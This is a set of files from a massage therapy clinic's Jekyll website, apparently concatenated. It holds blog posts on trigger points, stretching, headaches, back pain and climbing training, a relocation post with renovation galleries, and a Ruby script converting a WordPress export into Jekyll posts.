<file_sep>/_posts/2016-06-08-stretch-your-upper-trapezius-muscle.md --- layout: redirect title: "Stretch Your Upper Trapezius Muscle" date: 2016-06-08 slug: stretch-your-upper-trapezius-muscle redirect_url: stretching/stretch-your-upper-trapezius-muscle-2/ meta_keywords: Kitchener massage therapy, Kitchener massage therapist, massage therapist Kitchener , massage therapy Kitchener, Kitchener registered massage therapy, Kitchener registered massage therapist, registered massage therapist Kitchener , registered massage therapy Kitchener, Deep tissue massage, massage, sports massage, Kitchener sports massage, massage therapy, massage therapist, registered massage therapist, registered massage therapy, climbing injury, finger injury, --- <file_sep>/_posts/2015-03-12-trigger-points-and-trigger-point-therapy.md --- layout: post title: "Trigger Points and Trigger Point Therapy" date: 2015-03-12 22:17:35 category: generalmassagetherapy slug: trigger-points-and-trigger-point-therapy post_id: 219 --- <p><a href="{{site.url}}/about/index.html">After studying and treating Trigger Points for many years, </a>I describe them to my clients as a part of muscle that has become hyper-sensitive and irritable. Trigger Points are found in a tight or stiff band of muscle, and they can be found in muscles throughout the body. The following video shows me describing a Trigger Point to a client:</p> <div class="entry-image"> <a href="https://www.youtube.com/watch?v=shGC3k2tlb0" data-lightbox="iframe"> <img src="https://img.youtube.com/vi/shGC3k2tlb0/0.jpg" frameborder="0"> </a> </div> <p>Trigger Points are sensitive to touch and they usually have a pattern of pain that presents in another part of the body. Sometimes where you hurt is not necessarily where the problem needs to be treated. The Trigger Point Chart below shows you how this referral pain travels. A Trigger Point in the Lower Trapezius muscle (represented as an X in the pink area) can show up as pain at the base of the skull because a Trigger Point in that one muscle can affect a significant area. It is very common to have pain referred from one part of your body to another, and I use Trigger Point Charts in my office to locate, connect, and treat pain on a regular basis.</p> <img style="border: 1px solid black" class="fleft rightmargin-sm leftmargin-sm" alt="massage therapis trigger point chart" src="{{site.url}}/wp-content/uploads/2014/01/trigger_point_chart-300x247.jpg" width="300" height="247" /> <p>Over time, trigger points can create a chronic shortening of affected muscle, and trigger points are often responsible for many chronic pain syndromes such as torticollis, <a href="{{site.url}}/generalmassagetherapy/tension-headaches-3/index.html">headaches</a>, <a href="{{site.url}}/generalmassagetherapy/low-back-pain/index.html">back pain</a>, knee pain, and postural stress.</p> <p>At<a href="{{site.url}}/index.html"> Kitchener Massage Therapy </a>I use a few different <a href="{{site.url}}/generalmassagetherapy/what-is-deep-tissue-massage/index.html">Deep Tissue Massage </a>techniques like muscle stripping, direct pressure held for up to a minute, and <a href="{{site.url}}/stretching/general-guidelines-for-stretching/index.html">stretching</a> to treat Trigger Points.</p> <p><a href="{{site.url}}/generalmassagetherapy/does-deep-tissue-massage-heart/index.html">It is uncomfortable to have a Trigger Point worked out </a>but the relief you get from the <a href="{{site.url}}/generalmassagetherapy/tension-headaches-3/index.html">headache</a>, <a href="{{site.url}}/generalmassagetherapy/low-back-pain/index.html">sore back</a> or <a href="{{site.url}}/generalmassagetherapy/what-can-deep-tissue-massage-treat/index.html">whatever it is you are experiencing</a> can be great. My clients often describe the pain from Trigger Point work as a good pain . I think this stems from the fact that someone has finally been able to pinpoint and address the source of their discomfort after what could have been many years.</p> <file_sep>/_posts/2015-05-13-general-guidelines-for-stretching.md --- layout: post title: "General Guidelines for Stretching" date: 2015-05-13 19:41:08 category: stretching slug: general-guidelines-for-stretching post_id: 249 --- <p>Stretching your muscles can be very benificial and a great way to incurage the results your massage therapist worked so hard for. But you need to be careful not to injure yourself while stretching. </p> <p>Follow these 5 principles of stretching to reduce the risks of injury. <ul class="leftmargin"> <li>Stretch only to the point where you feel tightness or resistance to the stretch or perhaps some discomfort. Stretching should never be painful.</li> <li>Always stretch slowly and with control.</li> <li>Hold stretches for at least 30 seconds, and repeat each stretch 3 times.</li> <li>Be sure to breathe normally during a stretch. Do not hold your breath.</li> <li>Be sure to warm your muscles before stretching. You can warm your muscles by exercising lightly, by taking a warm bath or shower, or by applying heat.</li> </ul> </p><file_sep>/lib/kwmassage_importer.rb require "nokogiri" file = File.open("kwmassage_export.xml") doc = Nokogiri::XML(file) file.close items = doc.css("item") # Formats WordPress date with time to appropriate string for nameing Jekyll post file def date_to_jekyll(wp_date) /^[0-9]{4}(-)[0-9]{2}(-)[0-9]{2}/.match(wp_date) end def meta_values(item, file) metadata = item.css("wp|postmeta") metadata.each do |data| case data.css("wp|meta_key").text when "_aioseop_description" file.puts "excerpt_separator: #{data.css("wp|meta_value").text}" when "_aioseop_keywords" file.puts "meta_keywords: #{data.css("wp|meta_value").text}" end end end def slug_value(item, file) if link = item.css("link").text category = /\/(.*?)\//.match(link) if category cat = category.to_s.gsub(/\//, "") file.puts "category: #{cat}" end slug = link.gsub("#{category}", "") slug_link = slug.gsub("/", "") file.puts "slug: #{slug_link}" end end items.each do |item| if item.css("wp|post_type").text == "post" wp_date = "#{item.css("wp|post_date").text}" new_post_file = File.new("../_posts/#{date_to_jekyll(wp_date)}-#{item.css("wp|post_name").text}.text", "w") new_post_file.puts "---" new_post_file.puts "layout: #{item.css("wp|post_type").text}" new_post_file.puts "title: \"#{item.at_css("title").text}\"" new_post_file.puts "date: #{wp_date}" slug_value(item, new_post_file) # new_post_file.puts "permalink: /:categories/:title/" new_post_file.puts "post_id: #{item.css("wp|post_id").text}" meta_values(item, new_post_file) new_post_file.puts "---" new_post_file.puts "<p>#{item.at_css("content|encoded").text}</p>" new_post_file.close end end puts "eat my shorts" <file_sep>/_posts/2015-02-14-low-back-pain-2.md --- layout: redirect title: "Low Back Pain" date: 2015-02-16 15:32:11 slug: low-back-pain redirect_url: generalmassagetherapy/low-back-pain/ ---<file_sep>/_posts/2018-11-01-degenerative_disc_disease.md --- layout: post title: "Degenerative Disc Disease" date: 2018-11-01 category: generalmassagetherapy slug: degenerative_disc_disease post_id: 356 meta_keywords: Kitchener massage therapy, Kitchener massage therapist, massage therapist Kitchener , massage therapy Kitchener, Kitchener registered massage therapy, Kitchener registered massage therapist, registered massage therapist Kitchener , registered massage therapy Kitchener, Deep tissue massage, massage, sports massage, Kitchener sports massage, massage therapy, massage therapist, registered massage therapist, registered massage therapy, --- <p>Degeneration of the vertebral discs is a natural process as a person ages. The discs undergo slow wear and tear over many years, as a side effect of normal daily stresses. As this process continues the size and shape of the discs change, the discs loose vertical height, therefore leading to less space between each vertebra. Though not always symptomatic, Degenerative Disc Disease(DDD) can cause acute or chronic pain.</p> <p>Between the vertebrae, exiting from the spinal cord travel the <img class="fleft rightmargin-sm leftmargin-sm" alt="vertabra" src="{{site.url}}/assets/images/vertabra.png"/>peripheral nerves, which connect the central nervous system to the limbs. As the space between the vertebrae decreases, the root of the peripheral nerves can become compressed. This compression can create pain, weakness and numbness in the low back, hips and legs.</p> <p>Treatment for DDD depends to many factors including stage of degeneration, how acute or chronic it is, compounding injuries, age and posture all play a role in how to approach treatment. Treatment can range from medical intervention with anti-inflammatories to surgeries or paramedical services like physiotherapy, chiropractors or massage therapy. Also, regular exercise and stretching can be very helpful but it is important to see a medical professional who can do a proper assessment any time you are experiencing back pain, as it's easy to make an injuries worse by not know what exercises and stretches will help and which ones will hurt.</p> <file_sep>/_posts/2015-07-13-tension-headaches-3.md --- layout: post title: "Tension Headaches" date: 2015-07-13 19:49:41 category: generalmassagetherapy slug: tension-headaches-3 post_id: 253 --- <p>Your headache can leave you feeling helpless. You might be surprised to learn that there are things we can do to improve or prevent the crippling pain of a headache without the use of Tylenol, Advil, or other pain controlling medications.  Regular <a href="{{site.url}}/stretching/general-guidelines-for-stretching/index.html">stretching</a>, exercise, and <a href="{{site.url}}/index.html">massage therapy </a>can bring so much relief you would wonder why you never tried these simple ideas before. </p> <p>The most common cause for your headache is Referral Pain from muscle tension in your neck and shoulders. Overuse of vulnerable muscles can cause large painful knots in your muscles called<a title="Trigger Points and Trigger Point Therapy" href="{{site.url}}/generalmassagetherapy/trigger-points-and-trigger-point-therapy/index.html"> Trigger Points</a>. The pain created by Trigger Points is not always located in the area of the Trigger Point itself. Referred pain from the muscles in your neck and shoulders is often called a tension headache.</p> <p>To reduce your tension headache, you need to relax the <a href="{{site.url}}/stretching/stretch-your-upper-trapezius-muscle/index.html">affected muscles </a>and reduce these Trigger Points. Three ways for you to do this are to:</p> <ul class="leftmargin"> <li>Relax the muscle through the application of heat</li> <li>Stretch the effected muscle</li> <li>Massage therapy</li> </ul> <p>I have detailed a few general neck stretches and exercises below. These stretches target muscles that commonly cause a tension headache. Gentle massage from a loved one can be very beneficial but could potentially cause irritation to the Trigger Point. <a href="{{site.url}}/about/index.html">A registered massage therapist </a>is highly skilled in Trigger Point release.</p> <p>Be sure to review to my <a href="{{site.url}}/stretching/general-guidelines-for-stretching/index.html">General Guidelines for stretching </a>before doing any of the stretches I demonstrate and recommend. It’s always a good idea to see a <a href="{{site.url}}/generalmassagetherapy/governance-of-massage-therapy/index.html">health care professional </a>before starting a new exercise program.</p> <h2>Muscle #1: Upper Trapezius</h2> <p>The <a href="{{site.url}}/stretching/stretch-your-upper-trapezius-muscle-2/index.html">Upper Trapezius </a>is a flat triangular muscle that runs from the base of your skull and neck to your shoulder. The Upper Trapezius elevates the shoulder and supports the shoulder girdle when lifting a load. An Upper Trapezius muscle Trigger Point will commonly create pain around the ear and into the temple. Find directions on how to stretch the upper trapezius muscle <a href="{{site.url}}/stretching/stretch-your-upper-trapezius-muscle-2/index.html">here</a>.</p> <h2>Muscle #2: Levator Scapula</h2> <p>The <a href="{{site.url}}/stretching/stretch-your-levator-scapula-2/index.html">Levator Scapula</a> muscle runs from the top tip of the shoulder blade up to the top four joints of the neck. The Levator Scapula lifts the shoulder blade and helps control side-to-side movement of the head. A Trigger Point in the Levator Scapula muscle can cause pain behind the head and to the back of the neck. Find directions to stretch the Levator Scapula <a href="{{site.url}}/stretching/stretch-your-levator-scapula-2/index.html">here</a>.</p> <h2>Muscle #3: Sub-Occipital Muscles</h2> <p>Your sub-occipital muscles are a group of small muscles below the base of your skull at the back of your neck. These muscles control fine movements of your head. Trigger Points in this group of muscles will refer pain into your forehead and behind your eyes.</p> <p>Due to the complexity of movements required to stretch the sub-occipital muscles I’m going to suggest gentle self-massage at the space between your neck and the base of your skull. </p> <file_sep>/_posts/2016-05-16-stretch-your-levator-scapula-2.md --- layout: post title: "Stretch Your Levator Scapula " date: 2016-05-16 16:15:24 category: stretching slug: stretch-your-levator-scapula-2 post_id: 342 meta_keywords: Kitchener massage therapy, Kitchener massage therapist, massage therapist Kitchener , massage therapy Kitchener, Kitchener registered massage therapy, Kitchener registered massage therapist, registered massage therapist Kitchener , registered massage therapy Kitchener, Deep tissue massage, massage, sports massage, Kitchener sports massage, massage therapy, massage therapist, registered massage therapist, registered massage therapy, stretch, stretching, how to stretch levator, levator muscle, levator scapula --- <p>The Levator Scapula muscle runs from the top tip of the shoulder blade up to the top four joints of the neck.  The Levator Scapula muscle lifts the shoulder blade and helps control side-to-side movement of the head. A <a title="Trigger Points and Trigger Point Therapy" href="{{site.url}}/generalmassagetherapy/trigger-points-and-trigger-point-therapy/index.html">Trigger Point</a> in the Levator Scapula muscle can cause pain behind the head and to the back of the neck. </p> <p>To stretch your <a href="{{site.url}}/generalmassagetherapy/tension-headaches-3/index.html">Levator Scapula </a>muscle, begin in a seated position. <img class="fleft rightmargin-sm leftmargin-sm" alt="Sretch Levaor Scapula Muscle" src="{{site.url}}/wp-content/uploads/2014/01/levator-stretch-pic.jpg" width="191" height="120"/></p> <p>With your shoulders relaxed and your head in a natural position, carefully tuck your chin towards your right armpit. If more pressure is needed to feel the stretch, you can use your right hand to gently pull from the top of your head toward the right armpit.</p> <p>Be sure not to allow your left shoulder to rise, as this will prevent the muscle from lengthening in to a stretched position. Repeat on the other side.</p> <p>Be sure to review to my <a href="{{site.url}}/stretching/general-guidelines-for-stretching/index.html">General Guidelines for stretching </a>before doing any of the stretches I demonstrate and recommend. It’s always a good idea to see a <a href="{{site.url}}/generalmassagetherapy/governance-of-massage-therapy/index.html">health care professional </a>before starting a new exercise program.</p> <file_sep>/_posts/2015-10-16-back-pain-and-how-to-massage-at-home.md --- layout: post title: "Back Pain and How to Massage at Home " date: 2015-10-16 16:21:56 category: generalmassagetherapy slug: back-pain-and-how-to-massage-at-home post_id: 347 meta_keywords: Kitchener massage therapy, Kitchener massage therapist, massage therapist Kitchener , massage therapy Kitchener, Kitchener registered massage therapy, Kitchener registered massage therapist, registered massage therapist Kitchener , registered massage therapy Kitchener, Deep tissue massage, massage, sports massage, Kitchener sports massage, massage therapy, massage therapist, registered massage therapist, registered massage therapy, back pain, home massage, massage at home, pain --- <p>I have been treating <a href="{{site.url}}/stretching/low-back-pain/index.html">back pain</a> successfully since 2005. My first clients came to me because of back pain. Over the years, I have found that the overall outcome of <a href="{{site.url}}/generalmassagetherapy/what-is-deep-tissue-massage/index.html">massage therapy treatments </a>for back pain has as much to do with the client as it does the <a href="{{site.url}}/about/index.html">massage therapist</a>. The more a client is willing to do on their own, the better their recovery will be. If a client is willing to do the <a href="{{site.url}}/stretching/general-guidelines-for-stretching/index.html">stretches</a>, exercises, and other home care recommended by their massage therapist, they get better sooner. </p> <p>II often recommend stretching and strengthening exercises to enhance my massage therapy treatments. I also recommend <a href="{{site.url}}/generalmassagetherapy/epsom-salt-bath/index.html">hot and/or cold applications </a>a lot, depending on the injury.</p> <p>IOne thing I don’t talk much about in my <a title="clinic" href="{{site.url}}/clinic-information/index.html">clinic</a> is how to massage at home. I assume that a client will come into see me as often as necessary until they have recovered, so it isn’t beneficial to take the time to teach them how to massage at home. However, sometimes a client can’t see me as often as they would like. Under these situations, it can be very helpful to learn the basics of how to massage yourself, or someone else, at home. You can apply this information to any part of the body. Today, I’m going to focus on back pain.</p> <p>The trick to a successful massage consists of 3 basic principles: <ol class="leftmargin"> <li>general – specific – general</li> <li>superficial – deep – superficial</li> <li>slowly warm and soften the tissue you want to work on.</li> </ol> Always follow these 3 principles when doing massage on yourself or anyone else.</p> <p>When I massaging, never dive right in and start treating the injured tissue directly right away. It’s important to always start broadly (general) and lightly (superficial). Gently work the muscles and tissues around the injury first. Once the general area is starting to soften and warm up, you can SLOWLY work your way in towards the muscles you are trying to affect. Once you are working directly on an injured muscle, it’s important that you use slow, firm pressure along the length of the muscle. After about 2 minutes of direct work, or until you feel the muscle start to soften, it’s time to slowly start working your way back out to the superficial and general areas around the injury.</p> <p>I Always start and end a massage treatment with gentle pressure. Never try to achieve the same pressure that a <a href="{{site.url}}/generalmassagetherapy/governance-of-massage-therapy/index.html">trained massage therapist </a>uses, you are likely to hurt the person you are working on as well as yourself. It takes a lot of time to develop the strength and control to do <a title="What is Deep Tissue Massage?" href="{{site.url}}/generalmassagetherapy/what-is-deep-tissue-massage/index.html">deep tissue therapy</a>.</p> <p>It can be helpful to talk to your massage therapist about the injury you want to treat at home. Often the <a title="Trigger Points and Trigger Point Therapy" href="{{site.url}}/generalmassagetherapy/trigger-points-and-trigger-point-therapy/index.html">pain is coming from a different part of the body than you might think</a>, and having a professional massage therapist help you locate the right area to work on can be helpful. He/she can also guide you with technique, anatomy, and help you confirm that there aren’t any contraindications for the style of massage you want to do.</p> <p>When working on yourself, it can be hard to reach your back. Start with a hot pack to soften and relax the muscles. Then, there are a number of ways to reach those sore and hard-to-reach areas: <ul class="leftmargin"> <li>lean into the corner of a wall using the edge on the muscle on either side of the spine</li> <li>lie on a rolled towel and move around until you reach the right area</li> <li>lie on a tennis ball on the floor to massage your own back</li> </ul></p> <p>Massaging yourself, a friend, or a loved one can be a great way to help relieve back pain. Always make sure you have a clear idea of what you want to achieve and if you’re not sure, consult with a professional.</p><file_sep>/_posts/2015-09-16-aerobic-vs-anaerobic-training-for-rock-climbing.md --- layout: post title: "Aerobic vs. Anaerobic Training for Rock Climbing " date: 2015-09-16 15:16:09 category: generalmassagetherapy slug: aerobic-vs-anaerobic-training-for-rock-climbing post_id: 318 meta_keywords: Kitchener massage therapy, Kitchener massage therapist, massage therapist Kitchener , massage therapy Kitchener, Kitchener registered massage therapy, Kitchener registered massage therapist, registered massage therapist Kitchener , registered massage therapy Kitchener, Deep tissue massage, massage, sports massage, Kitchener sports massage, massage therapy, massage therapist, registered massage therapist, registered massage therapy, climbing, rock climbing, climbing training, training --- <p>There are two different ways our muscles get the energy they need to perform during exercise: Aerobic and Anaerobic. Our Aerobic (cardiovascular) system carries blood to our muscles with the nutrients the muscles need to create energy to climb or do any other activities. Once the Aerobic system becomes congested and can no longer supply what is needed to perform, the Anaerobic system takes over.</p> <p>The Anaerobic system creates energy inside the cells of the muscle in a process called Anaerobic Metabolism.  It takes hours to recover your Aerobic system once your arms get congested (a pumped or burning feeling). Your Anaerobic system can only create energy for a limited amount of time (30sec.-1 min.) after your Aerobic system quits.</p> <p>It is important to train each system independently.</p> <p>To increase your Aerobic endurance, you need to improve your body’s ability to bring fresh blood into a target muscle group (for <a title="Rock Climbing" href="{{site.url}}/knowledge-centre/rock-climbing/index.html">rock climbers</a>, that would be your forearms) and remove old/used blood. We can do this by increasing the blood pressure in the forearms for an extended period of time (15-20 minutes). This will put pressure on the veins, arteries, and capillaries, forcing them to expand and grow new branches. It’s kind of like upgrading the plumbing system and making it easier for the blood to flow in and out.</p> <p>You need to climb, nearly constantly without stopping, for 15-20 minutes just below your “pumped” threshold (where there is no lactic acid burn). That is, climb 2-4 grades below your maximum ability making sure you feel fatigue when you’re done, but no burning.</p> <p>If you start getting a burning or “pumped” feeling, stop and lower right away, then go to a different route, 1 grade easier, and continue for the rest of the allotted time. The burn means you are producing lactic acid, which means you have moved into Anaerobic Metabolism and are no longer getting the benefits you are looking for. Anaerobic Metabolism creates lactic acid but is also limited when lactic acid is present, which is why the duration of this energy source is so limited.</p> <p>To increase your Anaerobic endurance, you need to increases your muscle tolerance to lactic acid. To do this you need to force your muscles to continue working with lactic acid present.  Bouldering is a great way to train in this way -- short bursts of high intensity climbing with frequent but short rests.</p> <p>The 4×4 is a great routine to train your Anaerobic endurance. Pick 4 bouldering problems, 1-3 grades below your max. Climb each one 4 times in a row with no rest before moving on to the next problem. Do not rest in the middle of doing your 4 repetitions of a problem; do not top out or rest, keep moving.</p> <p>Between each problem, take 30 seconds of rest before moving on to the next set of 4. You will have done 16 problems in a short period of time. When you’re done your 4×4, your forearms should be burning. If not, choose harder problems next time. If you couldn’t finish, choose easier ones next time.</p> <p>Make sure you have warmed up your body well before doing a 4×4. Don’t do a 4×4 before a session of climbing. It’s not a warm up; it will ruin your session. Do this at the end of a session or do a short session dedicated to just the 4×4.</p> <p>Lactic acid is toxic to your muscles and long term exposure to lactic acid can be detrimental to muscle development. Don’t do high intensity training where you are exposing your muscles to lactic acid for long periods of time more than once a week; you don’t need it more than that.</p> <p>When training for climbing, you need to make sure you are getting sufficient rest. Muscle and tendon strength is increased by overloading the muscles and tendons followed by periods of rest and recovery. Overloading without proper rest will cause degeneration and injuries. <p>Don’t climb every day; 3-4 days a week is more than enough to progress through the grades.</p> <file_sep>/_posts/2017-07-10-kwmassage-is-moving.md --- layout: post title: "KWmassage is moving" date: 2017-07-10 excerpt_separator: "KWmassage is moving to a new lovation" category: generalmassagetherapy slug: kwmassage-is-moving excerpt: "KWmassage is moving to a new lovation" meta_keywords: Kitchener massage therapy, Kitchener massage therapist, massage therapist Kitchener , massage therapy Kitchener, Kitchener registered massage therapy, Kitchener registered massage therapist, registered massage therapist Kitchener , registered massage therapy Kitchener, Deep tissue massage, massage, sports massage, Kitchener sports massage, massage therapy, massage therapist, registered massage therapist, registered massage therapy, moving --- June 1st, 2017, the landlord who owns the space <a href="/index.html">KWmassage</a> has been using as a massage therapy office gave notice that he is unwilling to renew the lease. This came as a surprise but has been turned into a positive as I have found a perfect space to move the massage office to. Come September 1st 2017, KW massage will relocate to <a href="https://www.google.ca/maps/place/351+Carson+Dr,+Kitchener,+ON+N2B+2W3/@43.4608189,-80.4512459,17z/data=!3m1!4b1!4m5!3m4!1s0x882b8b517f22d729:0x3b6fd266d2e3745d!8m2!3d43.4608189!4d-80.4490572" target="_blank">351 Carson Drive, Kitchener, ON</a>. <p>The new space needs a little work but after the planed renovations, it will turn out beautiful. The massage room has been re-drywalled and painted. New floors are going in, built in cabinetry is being installed, the fireplace wall is even getting a facelift with a new stone veneer. The entrance way and bathroom are also being remodeled with porcelain tiles on the floor, paint.</p> <div class="entry clearfix" data-class-lg data-class-md="norightmargin nobottommargin" data-class-sm="divcenter" data-class-xs data-class-xxs> <div class="entry-image"> <div class="fslider" data-arrows="false" data-lightbox="gallery"> <div class="flexslider"> <div class="slider-wrap"> <div class="slide"> <a href="/assets/images/renos/reno_floor_and_stone.jpg" data-lightbox="gallery-item"> <img class="image_fade" src="/assets/images/renos/reno_floor_and_stone.jpg" alt="Reno, Floor and Stone"> </a> </div> <div class="slide"> <a href="/assets/images/renos/reno_tile.jpg" data-lightbox="gallery-item"> <img class="image_fade" src="/assets/images/renos/reno_tile.jpg" alt="Reno, Floor and Stone 2"> </a> </div> <div class="slide"> <a href="/assets/images/renos/reno_tile2.jpg" data-lightbox="gallery-item"> <img class="image_fade" src="/assets/images/renos/reno_tile2.jpg" alt="Reno, Floor and Stone 3"> </a> </div> </div> </div> </div> </div> </div> <h5>Check back to follow the progress.</h5> <p>Stage 6, Everything but a few finishing touches!</p> <div class="entry clearfix" data-class-lg data-class-md="norightmargin" data-class-sm="divcenter" data-class-xs data-class-xxs> <div class="entry-image"> <div class="fslider" data-arrows="false" data-lightbox="gallery"> <div class="flexslider"> <div class="slider-wrap"> <div class="slide"> <a href="/assets/images/clinic_pictures/kw_massage_therapy_room_1.jpg" data-lightbox="gallery-item"> <img class="image_fade" src="/assets/images/clinic_pictures/kw_massage_therapy_room_1.jpg" alt="Clinic Pic Interior 1"> </a> </div> <div class="slide"> <a href="/assets/images/clinic_pictures/kw_massage_therapy_room_6.jpg" data-lightbox="gallery-item"> <img class="image_fade" src="/assets/images/clinic_pictures/kw_massage_therapy_room_6.jpg" alt="Clinic Pic Interior 2"> </a> </div> <div class="slide"> <a href="/assets/images/clinic_pictures/kw_massage_therapy_room_7.jpg" data-lightbox="gallery-item"> <img class="image_fade" src="/assets/images/clinic_pictures/kw_massage_therapy_room_7.jpg" alt="Clinic Pic Interior 3"> </a> </div> <div class="slide"> <a href="/assets/images/clinic_pictures/kw_massage_therapy_room_8.jpg" data-lightbox="gallery-item"> <img class="image_fade" src="/assets/images/clinic_pictures/kw_massage_therapy_room_8.jpg" alt="Clinic Pic Interior 4"> </a> </div> <div class="slide"> <a href="/assets/images/clinic_pictures/kw_massage_therapy_room_9.jpg" data-lightbox="gallery-item"> <img class="image_fade" src="/assets/images/clinic_pictures/kw_massage_therapy_room_9.jpg" alt="Clinic Pic Interior 5"> </a> </div> <div class="slide"> <a href="/assets/images/clinic_pictures/kw_massage_entrance.jpg" data-lightbox="gallery-item"> <img class="image_fade" src="/assets/images/clinic_pictures/kw_massage_entrance.jpg" alt="Clinic Pic Interior 1"> </a> </div> <div class="slide"> <a href="/assets/images/clinic_pictures/kw_massage_entrance_2.jpg" data-lightbox="gallery-item"> <img class="image_fade" src="/assets/images/clinic_pictures/kw_massage_entrance_2.jpg" alt="Clinic Pic Interior 2"> </a> </div> <div class="slide"> <a href="/assets/images/clinic_pictures/kw_massage_entrance_3.jpg" data-lightbox="gallery-item"> <img class="image_fade" src="/assets/images/clinic_pictures/kw_massage_entrance_3.jpg" alt="Clinic Pic Interior 3"> </a> </div> </div> </div> </div> </div> <p>Stage 5, Massage Therapy Room Fireplace</p> <div class="entry clearfix" data-class-lg data-class-md="norightmargin nobottommargin" data-class-sm="divcenter" data-class-xs data-class-xxs> <div class="entry-image"> <div class="fslider" data-arrows="false" data-lightbox="gallery"> <div class="flexslider"> <div class="slider-wrap"> <div class="slide"> <a href="/assets/images/renos/massage_clinic_fireplace_2.jpg" data-lightbox="gallery-item"> <img class="image_fade" src="/assets/images/renos/massage_clinic_fireplace_2.jpg" alt="Massage Therapy Room Fireplace 2"> </a> </div> <div class="slide"> <a href="/assets/images/renos/massage_clinic_fireplace_1.jpg" data-lightbox="gallery-item"> <img class="image_fade" src="/assets/images/renos/massage_clinic_fireplace_1.jpg" alt="Massage Therapy Room Fireplace 1"> </a> </div> <div class="slide"> <a href="/assets/images/renos/massage_clinic_fireplace_3.jpg" data-lightbox="gallery-item"> <img class="image_fade" src="/assets/images/renos/massage_clinic_fireplace_3.jpg" alt="Massage Therapy Room Fireplace 3"> </a> </div> </div> </div> </div> </div> </div> <p>Stage 4, Massage Therapy Room Floor</p> <div class="entry clearfix" data-class-lg data-class-md="norightmargin nobottommargin" data-class-sm="divcenter" data-class-xs data-class-xxs> <div class="entry-image"> <div class="fslider" data-arrows="false" data-lightbox="gallery"> <div class="flexslider"> <div class="slider-wrap"> <div class="slide"> <a href="/assets/images/renos/massage_clinic_floor_1.jpg" data-lightbox="gallery-item"> <img class="image_fade" src="/assets/images/renos/massage_clinic_floor_1.jpg" alt="Massage Therapy Room Floor 1"> </a> </div> <div class="slide"> <a href="/assets/images/renos/massage_clinic_floor_2.jpg" data-lightbox="gallery-item"> <img class="image_fade" src="/assets/images/renos/massage_clinic_floor_2.jpg" alt="Massage Therapy Room Floor 2"> </a> </div> <div class="slide"> <a href="/assets/images/renos/massage_clinic_floor_3.jpg" data-lightbox="gallery-item"> <img class="image_fade" src="/assets/images/renos/massage_clinic_floor_3.jpg" alt="Massage Therapy Room Floor 3"> </a> </div> </div> </div> </div> </div> </div> <p>Stage 3, Entrance Floor</p> <div class="entry clearfix" data-class-lg data-class-md="norightmargin nobottommargin" data-class-sm="divcenter" data-class-xs data-class-xxs> <div class="entry-image"> <div class="fslider" data-arrows="false" data-lightbox="gallery"> <div class="flexslider"> <div class="slider-wrap"> <div class="slide"> <a href="/assets/images/renos/entrance_floor_1.jpg" data-lightbox="gallery-item"> <img class="image_fade" src="/assets/images/renos/entrance_floor_1.jpg" alt="entrance floor 1"> </a> </div> <div class="slide"> <a href="/assets/images/renos/entrance_floor_2.jpg" data-lightbox="gallery-item"> <img class="image_fade" src="/assets/images/renos/entrance_floor_2.jpg" alt="entrance floor 3"> </a> </div> <div class="slide"> <a href="/assets/images/renos/entrance_floor_3.jpg" data-lightbox="gallery-item"> <img class="image_fade" src="/assets/images/renos/entrance_floor_3.jpg" alt="entrance floor 3"> </a> </div> <div class="slide"> <a href="/assets/images/renos/entrance_tile.jpg" data-lightbox="gallery-item"> <img class="image_fade" src="/assets/images/renos/entrance_tile.jpg" alt="entrance floor 4"> </a> </div> <div class="slide"> <a href="/assets/images/renos/entrance_tile2.jpg" data-lightbox="gallery-item"> <img class="image_fade" src="/assets/images/renos/entrance_tile2.jpg" alt="entrance floor 5"> </a> </div> </div> </div> </div> </div> </div> <p>Stage 2, Drywall and Paint</p> <div class="entry clearfix" data-class-lg data-class-md="norightmargin nobottommargin" data-class-sm="divcenter" data-class-xs data-class-xxs> <div class="entry-image"> <div class="fslider" data-arrows="false" data-lightbox="gallery"> <div class="flexslider"> <div class="slider-wrap"> <div class="slide"> <a href="/assets/images/renos/therapy_room_drywall.jpg" data-lightbox="gallery-item"> <img class="image_fade" src="/assets/images/renos/therapy_room_drywall.jpg" alt="Drywall"> </a> </div> <div class="slide"> <a href="/assets/images/renos/reno_pic_11.jpg" data-lightbox="gallery-item"> <img class="image_fade" src="/assets/images/renos/reno_pic_11.jpg" alt="Reno Picture 11"> </a> </div> <div class="slide"> <a href="/assets/images/renos/reno_pic_12.jpg" data-lightbox="gallery-item"> <img class="image_fade" src="/assets/images/renos/reno_pic_12.jpg" alt="Reno Picture 12"> </a> </div> <div class="slide"> <a href="/assets/images/renos/reno_pic_14.jpg" data-lightbox="gallery-item"> <img class="image_fade" src="/assets/images/renos/reno_pic_14.jpg" alt="Reno Picture 14"> </a> </div> <div class="slide"> <a href="/assets/images/renos/reno_pic_13.jpg" data-lightbox="gallery-item"> <img class="image_fade" src="/assets/images/renos/reno_pic_13.jpg" alt="Reno Picture 13"> </a> </div> </div> </div> </div> </div> </div> <p>Stage 1, After Demo</p> <div class="entry clearfix" data-class-lg data-class-md="norightmargin nobottommargin" data-class-sm="divcenter" data-class-xs data-class-xxs> <div class="entry-image"> <div class="fslider" data-arrows="false" data-lightbox="gallery"> <div class="flexslider"> <div class="slider-wrap"> <div class="slide"> <a href="/assets/images/renos/reno_pic_1.jpg" data-lightbox="gallery-item"> <img class="image_fade" src="/assets/images/renos/reno_pic_1.jpg" alt="Reno Picture 1"> </a> </div> <div class="slide"> <a href="/assets/images/renos/reno_pic_3.jpg" data-lightbox="gallery-item"> <img class="image_fade" src="/assets/images/renos/reno_pic_3.jpg" alt="Reno Picture 3"> </a> </div> <div class="slide"> <a href="/assets/images/renos/reno_pic_4.jpg" data-lightbox="gallery-item"> <img class="image_fade" src="/assets/images/renos/reno_pic_4.jpg" alt="Reno Picture 4"> </a> </div> <div class="slide"> <a href="/assets/images/renos/reno_pic_5.jpg" data-lightbox="gallery-item"> <img class="image_fade" src="/assets/images/renos/reno_pic_5.jpg" alt="Reno Picture 5"> </a> </div> <div class="slide"> <a href="/assets/images/renos/reno_pic_6.jpg" data-lightbox="gallery-item"> <img class="image_fade" src="/assets/images/renos/reno_pic_6.jpg" alt="Reno Picture 6"> </a> </div> <div class="slide"> <a href="/assets/images/renos/reno_pic_7.jpg" data-lightbox="gallery-item"> <img class="image_fade" src="/assets/images/renos/reno_pic_7.jpg" alt="Reno Picture 7"> </a> </div> </div> </div> </div> </div> </div> </div> <file_sep>/_posts/2018-11-08-acuball.md --- layout: post title: "The Acuball" date: 2018-11-08 category: generalmassagetherapy slug: acuball post_id: 357 --- <p>I'm trying something new this month, I've brought in a product for resale. The <a href="https://acuball.com/product/dr-cohens-acuball/?affiliates=19" target="_blank" title="Acuball">Acuball</a> is something that has been floating around my 